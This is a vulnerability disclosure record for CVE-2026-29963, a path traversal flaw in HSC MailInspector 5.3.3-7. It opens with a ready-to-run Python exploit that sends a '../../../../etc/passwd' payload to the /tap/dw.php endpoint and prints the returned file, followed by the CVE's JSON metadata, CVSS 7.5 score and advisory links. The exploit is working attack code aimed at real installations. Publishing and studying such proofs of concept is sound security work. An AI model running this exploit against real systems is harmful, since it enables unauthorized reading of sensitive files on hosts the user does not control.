CVE-2026-29963

import requests def exploit(target_ip): # Target endpoint vulnerable to path traversal url = f"http://{target_ip}/tap/dw.php" # Payload aiming to read /etc/passwd # Using '../' to traverse up the directory structure payload = { "text": "../../../../../../etc/passwd" } try: response = requests.post(url, data=payload, timeout=5) # Check if standard Linux file content is returned if response.status_code == 200 and "root:x" in response.text: print("[+] Exploit successful! File content:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-29963", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:21.517", "lastModified": "2026-05-19T17:21:05.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HSC MailInspector 5.3.3-7 has a Path Traversal vulnerability due to improper validation of user-supplied input in the /tap/dw.php endpoint. The text parameter is used to construct file paths without adequate normalization or restriction to a safe base directory. A remote attacker can exploit this flaw to access arbitrary files on the underlying operating system, resulting in unauthorized disclosure of sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hsclabs:mailinspector:5.3.3-7:*:*:*:*:*:*:*", "matchCriteriaId": "5A2C551A-C71C-468F-A438-7ED1F576338A"}]}]}], "references": [{"url": "https://github.com/sql3t0/cve-disclosures", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/sql3t0/cve-disclosures/blob/main/02_-_CVE-2026-29963_LFI%2BPath_Traversal.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://hsclabs.com/pt-br/mailinspector/", "source": "[email protected]", "tags": ["Product"]}]}}